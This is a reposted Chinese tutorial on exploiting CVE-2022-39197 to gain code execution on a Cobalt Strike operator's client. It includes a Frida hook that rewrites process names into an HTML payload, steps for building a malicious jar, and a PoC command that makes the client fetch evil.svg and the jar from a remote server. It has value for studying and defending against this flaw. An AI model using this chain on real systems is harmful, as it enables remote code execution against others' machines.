Cobalt Strike之反向上线操作
2023-11-23 17:23:40 Author: www.freebuf.com(查看原文) 阅读量:7 收藏

前言

Cobalt Strike 使用 GUI 框架 SWING(一种java GUI的库)开发,攻击者可通过CS木马在 beacon 元数据中注入恶意 HTML 标签,使得Cobalt Strike对其进行解析并且加载恶意代码(类似XSS攻击),从而在目标系统上执行任意代码。

实现原理

攻击者需要通过CS木马在 beacon 元数据中注入恶意payload,恰好Frida 可以用于钩入和修改各种函数,包括 Windows API 函数,这里反制主要通过使用Frida框架钩入Windows API函数,从而对beacon 元数据中注入恶意代码,以下是一些你可以通过 Frida 钩入的 Windows API 函数的示例

  • Kernel32.dll:

    CreateFileW

    ReadFile

    WriteFile

    FindFirstFileW

    CreateProcessW

    GetProcAddress

    LoadLibraryW

    VirtualAlloc

    VirtualProtect

  • Advapi32.dll:

    RegOpenKeyExW

    RegQueryValueExW

    RegSetValueExW

    GetUserNameA

  • User32.dll:

    MessageBoxW

    SetWindowTextW

    GetWindowTextW

  • Gdi32.dll:

    TextOutW

    CreateFontIndirectW

  • Shell32.dll:

    ShellExecuteW

  • Ws2_32.dll:

    send

    recv

在 Frida 中,你可以使用 Interceptor.attach 方法来附加到这些函数并添加你自己的处理逻辑。这样,你就可以在这些函数被调用时执行自定义代码,此时也意味着你可以对 beacon 元数据中注入自定义代码了。

例如Kernel32.dll:中的Process32Next

# Frida 框架来拦截 kernel32.dll 中的 Process32Next 函数,该函数用于遍历进程列表
var pProcess32Next = Module.findExportByName("kernel32.dll", "Process32Next")
# 使用Interceptor.attach方法附加到 Process32Next 函数,以下为自己的处理逻辑
Interceptor.attach(pProcess32Next, {
onEnter: function(args) {
this.pPROCESSENTRY32 = args[1];
if(Process.arch == "ia32"){
this.exeOffset = 36;
}else{
this.exeOffset = 44;
}
this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);
},
onLeave: function(retval) {
if(this.szExeFile.readAnsiString() == "target") {
send("[!] Found beacon, injecting payload");
this.szExeFile.writeAnsiString(payload);
}
}
})

函数内整体逻辑拆开来分析下

处理函数进入 onEnter

onEnter: function(args) {
this.pPROCESSENTRY32 = args[1];
if(Process.arch == "ia32"){
this.exeOffset = 36;
}else{
this.exeOffset = 44;
}
this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);
},

在函数进入时,保存 Process32Next函数的参数,并计算 szExeFile的地址。szExeFile是一个指向进程信息结构体的字段,其中包含进程的可执行文件名。

处理函数离开 onLeave

onLeave: function(retval) {
if(this.szExeFile.readAnsiString() == "target") {
send("[!] Found beacon, injecting payload");
this.szExeFile.writeAnsiString(payload);
}
}

在函数离开时,检查 szExeFile中的进程可执行文件名是否等于字符串 "target"。如果相匹配,将指定的 payload写入进程的可执行文件名里,使得Cobalt Strike对其进行解析并且加载payload

简单来说就是注入Windows API修改tasklist返回的进程名,将进程名改写成攻击payload,当攻击者点击beacon执行列出进程时,只要他浏览到带有payload的进程名,就会执行反制RCE

反制复现

环境准备:

1.png

注:受到反制影响的Cobalt Strike版本< 4.7.1(全局禁止html渲染的Cobalt Strike不受印影响)

开源POC和EXP:https://github.com/its-arun/CVE-2022-39197

1、编辑恶意文件内容

修改Exploit.java,更改exec内代码参数为要执行的命令,我这里为了直观展示则执行powershell一句话上线CS

1

2、编译文件

使用IDEA+maven进行编译,编译完成后会在target目录下生成EvilJar-1.0-jar-with-dependencies.jar文件,具体如下

1

3、将生成的恶意jar文件和svg文件放在同一路径下

1

将红队发送的木马样本放在与cve-2022-39197.py脚本同一路径下

1

4、蓝队在serve路径下开启一个web服务

1

5、编辑evil.svg文件,替换为当前路径启用的恶意jar的web地址

1

6、执行POC脚本

python3 cve-2022-39197.py artifact.exe http://192.168.108.248:9999/evil.svg

1

运行后,红队的cs客户端上可以看到此时木马已经成功上线

1

当红队尝试获取用户会话的进程列表,当滚动进程列表进行查看当前会话所在进程名时即触发(若未触发可能需要手动点击或触发存在延迟),请求蓝队web服务上的evil.svg文件,而evil.svg文件又继续加载请求恶意文件EvilJar-1.0-jar-with-dependencies.jar

成功上线蓝队CS,从而达到反制RCE

思考

除了以上Kernel32.dll:中的Process32Next函数的反制思路,其实还有很多其他的反制思路,正如Windows API 函数之多。我们还可以尝试Kernel32.dll:中的FindFirstFileW函数(根据文件名查找文件的函数),大概情况就是注入Windows API 修改返回的文件名,将文件名改写成攻击payload,当攻击者点击beacon执行列出文件时,只要他浏览到带有payload的文件名,就会执行反制RCE。

最后

此Cobalt Strike反制虽然是一个去年曝光的漏洞了,但是基数上还是会有许多人在使用着存在漏洞的Cobalt Strike版本,对应地Cobalt Strike的反制可玩性还是很高的,师傅们发挥想象可以让对手猝不及防。


文章来源: https://www.freebuf.com/vuls/384698.html
如有侵权请联系:admin#unsafe.sh